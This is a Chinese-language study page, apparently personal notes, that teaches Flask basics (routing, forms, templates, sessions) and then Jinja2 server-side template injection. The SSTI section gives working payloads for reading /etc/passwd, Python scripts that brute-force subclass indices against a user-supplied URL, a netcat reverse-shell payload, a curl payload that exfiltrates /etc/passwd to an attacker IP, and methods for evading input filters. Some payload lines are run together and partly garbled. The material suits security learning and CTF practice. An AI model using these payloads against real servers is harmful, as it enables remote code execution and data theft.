跳转至

环境搭建

python venv搭建

知乎教程

venv使用教程

python flask

Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务

flask详解

Flask 入门教程 (helloflask.com)

路由建立网页

Python
from flask import Flask
app=Flask(__name__)
@app.route('/')
def mainpage():
    return "This is the main page of website"

@app.route('/study')
def study():
    return "This is a test page"

@app.route('/hello/<name>')
def hello(name):
    return "hello %s" % name

@app.route('/path/<path:filepath>')
def show_path(filepath):
    return "your path is %s" % filepath

@app.route('/port/<int:portid>')
def show_port(portid):
    return "your port id = %d" % portid

if __name__=='__main__':
    app.run(port=80,host="0.0.0.0",debug=True)

http服务

Python
from flask import Flask, redirect, url_for, request
app = Flask(__name__)

@app.route('/success/<name>')
def success(name):
   return 'welcome %s' % name

@app.route('/login',methods = ['POST', 'GET'])
def login():
   if request.method == 'POST':
      user = request.form['name']
      return redirect(url_for('success',name = user))
   else:
      user = request.args.get('name')
      return redirect(url_for('success',name = user))

if __name__ == '__main__':
   app.run(debug = True,port=80,host='0.0.0.0')
  • studyssti.html
HTML
<html>
   <body>

      <form action = "http://192.168.130.128/login" method = "get">
         <p>Enter Name:</p>
         <p><input type = "text" name = "name" /></p>
         <p><input type = "submit" value = "submit" /></p>
      </form>

   </body>
</html>

request模块

Python
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def student():
   return render_template('student.html')


@app.route('/result',methods = ['POST', 'GET'])
def result():
   if request.method == 'POST':
      result = request.form
      return render_template("result.html",result = result)


if __name__ == '__main__':
   app.run(debug = True)
  • student.html
HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
  <form action="http://localhost:5000/result" method="POST">
     <p>Name <input type = "text" name = "Name" /></p>
     <p>Physics <input type = "text" name = "Physics" /></p>
     <p>Chemistry <input type = "text" name = "chemistry" /></p>
     <p>Maths <input type ="text" name = "Mathematics" /></p>
     <p><input type = "submit" value = "submit" /></p>
  </form>
</body>
</html>
  • result.html
HTML
<!doctype html>
  <table border = 1>
     {% for key, value in result.items() %}
    <tr>
       <th> {{ key }} </th>
       <td> {{ value }}</td>
    </tr>
 {% endfor %}
</table>

url_for

Python
from flask import Flask,redirect,url_for
app=Flask(__name__)

@app.route('/admin')
def admin():
    return "hello admin"

@app.route('/guest/<guestname>')
def guest(guestname):
    return "hello %s as guest" % guestname

@app.route('/user/<name>')
def hello_user(name):
    if name=='admin':
        return redirect(url_for('admin'))
    else:
        return redirect(url_for('guest',guestname=name))#guestname=name是在传入参数

if __name__=='__main__':
    app.run(debug=True,port=80,host='0.0.0.0')

模板渲染

Python
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
    my_int = 18
    my_str = 'curry'
    my_list = [1, 5, 4, 3, 2]
    my_dict = {
        'name': 'durant',
        'age': 28
    }

    # render_template方法:渲染模板
    # 参数1: 模板名称  参数n: 传到模板里的数据
    return render_template('hello.html',
                           my_int=my_int,
                           my_str=my_str,
                           my_list=my_list,
                           my_dict=my_dict)


if __name__ == '__main__':
    app.run(debug=True)
  • Flasktemplate.html
HTML
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Title</title>
</head>

<body>
  <h2>我是模板</h2>
  {{ my_int }}
  <br>
  {{ my_str }}
  <br>
  {{ my_list }}
  <br>
  {{ my_dict }}
  <hr>
  <h2>模板的list数据获取</h2>
  <hr>
  {{ my_list[0] }}
  <br>
  {{ my_list.1 }}
  <hr>
  <h2>字典数据获取</h2>
  <hr>
  {{ my_dict['name'] }}
  <br>
  {{ my_dict.age }}
  <hr>
  <h2>算术运算</h2>
  <br>
  {{ my_list.0 + 10 }}
  <br>
  {{ my_list[0] + my_list.1 }}
</body>

</html>

flask session

session的作用

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。

用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息

flask session的储存方式

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库

flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask的session格式

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

Text Only
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session              

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

SSTI模板注入

根据输入执行的情况来判断是哪个模块

继承关系和魔术方法

Text Only
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__  使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等
__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数

代码示例:

Python
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
class E(C):pass
class F(C):pass

# 最终的父类是Object
d=D()
print(d.__class__)
# __class__ --> 当前类
print(d.__class__.__base__)
# __base__ --> 当前类的父类
print(d.__class__.__base__.__base__)
# 父类的父类
print(d.__class__.__base__.__base__.__base__)
print(d.__class__.__base__.__base__.__base__.__base__)
print(d.__class__.__mro__)
# __mro__ --> 类的层级关系
print(d.__class__.__base__.__subclasses__())
# __subclasses__() --> 当前类下的子类(列表)
print(d.__class__.__base__.__subclasses__()[1])
# 可通过索引访问具体哪个子类

漏洞检查

获取object类

python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__ 和 __bases__两种方式来创建。

mro 属性获取类的MRO(方法解析顺序),也就是继承关系。

Text Only
().__class__.__bases__[0]{}.__class__.__bases__[0][].__class__.__bases__[0]''.__class__.__bases__[0] #python3

bases 属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。

Text Only
().__class__.__mro__[1]{}.__class__.__mro__[1][].__class__.__mro__[1]''.__class__.__mro__[1]#python3''.__class__.__mro__[2]#python2

获取子类列表

然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。

Text Only
().__class__.__bases__[0].__subclasses__()

若类中有file,考虑读写操作. (python2)

Text Only
[].__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[].__class__.__mro__[1].__subclasses__()[40]('/tmp/test.txt', 'w').write('xxx’)

找到重载过的__init__类

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。

1678067643_640547bb7c6c4fb7af576.png!small?1678067643861

写个脚本帮我们来筛选出重载过的init类的类:

Python
# 筛选出重载过的init类的类:
l = len([].__class__.__mro__[1].__subclasses__())

for i in range(l):

    if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):

        print(i, [].__class__.__mro__[1].__subclasses__()[i])

1678067665_640547d1af26b20cdd946.png!small?1678067666200

重载过的__init__类的类具有__globals__属性,这里以WarningMessage为例,会返回很多dict类型。

Text Only
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__

寻找keys中的__builtins__来查看引用,这里同样会返回很多dict类型:

Text Only
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']

常用注入模块

  1. 文件读取
  2. 内建函数eval执行命令
  3. os模块执行命令
  4. importlib类执行命令
  5. linecache函数执行命令
  6. subprocess.Popen类执行命令

文件读取

关键子类:_frozen_importlib_external_FileLoader

  1. __base__获取
  2. __mor__获取

找到后如何获取对应索引号

  1. 复制全部,将逗号替换为换行,数行数
  2. 脚本
Python
import requests
url=input("please input the url:")
for i in range(500):
    data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if '_frozen_importlib_external_FileLoader' in response.text:
                print(i)
    except:
        pass

该脚本仅作示例,根据实际情况写脚本

  • 内建函数eval执行命令

python脚本(仅作参考)

Python
# 爆破索引
import requests
url=input("please input the url:")
for i in range(500):
    data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'eval' in response.text:
                print(i)
    except:
        pass
  • os模块执行命令

在其他函数直接调用os模块

Python
# 查找加载了os模块的python脚本
import requests
url=input("please input the url:")
for i in range(500):
    data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'os.py' in response.text:
                print(i)
    except:
        pass
  • importlib类执行命令

Python
# python脚本
import requests
url=input("please input the url:")
for i in range(500):
    data={"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if '_frozen_importlib.Builtinlmporter' in response.text:
                print(i)
    except:
        pass

  • linecache函数执行命令

Python
# python脚本
import requests
url=input("please input the url:")
for i in range(500):
    data={"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'linecache' in response.text:
                print(i)
    except:
        pass

  • subprocess.Popen类执行命令

Python
# python脚本
import requests
url=input("please input the url:")
for i in range(500):
    data={"code":"{{().__class__.__base__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'subprocess.Popen' in response.text:
                print(i)
    except:
        pass

绕过过滤方法

过滤大括号

{% %}是属于flask的控制语句,且以{% end... %}结尾,可以通过在控制语句定义变量或者写循环,判断

SSTI盲注

  1. 反弹shell
  2. 带外注入

  3. 纯盲注

反弹shell

Python
# python脚本
import requests
url=input("please input the url:")
for i in range(500):
    try:
        data={'name":"{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 192.168.1.161 7777 -e /bin/bash").read()}'}
        response=requests.post(url,data=data)
    except:
        pass

带外注入

Python
# python脚本
import requests
url=input("please input the url:")
for i in range(500):
    try:
        data={'name":"{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://192.168.1.161/`cat /etc/passwd`").read()}'}
        response=requests.post(url,data=data)
    except:
        pass

纯盲注

通过python脚本猜解

中括号过滤

__getitem__()

单双引号过滤

利用request模块

get payload

post payload

下划线过滤

flask常用过滤器

attr可以获得属性

request方法

unicode编码

16进制编码

base64编码

格式化字符串

点过滤

  1. 用中括号[]代替点
  2. 用attr()代替

关键字过滤

字符编码

"~"拼接

过滤器

char()

length

config文件获取

Text Only
{{config}}

工具

  1. fenjing
  2. Tplmap

SSTI工具 - piiick的博客

[SSTI自动化工具]TPLMap安装&使用说明 - 编程中国的博客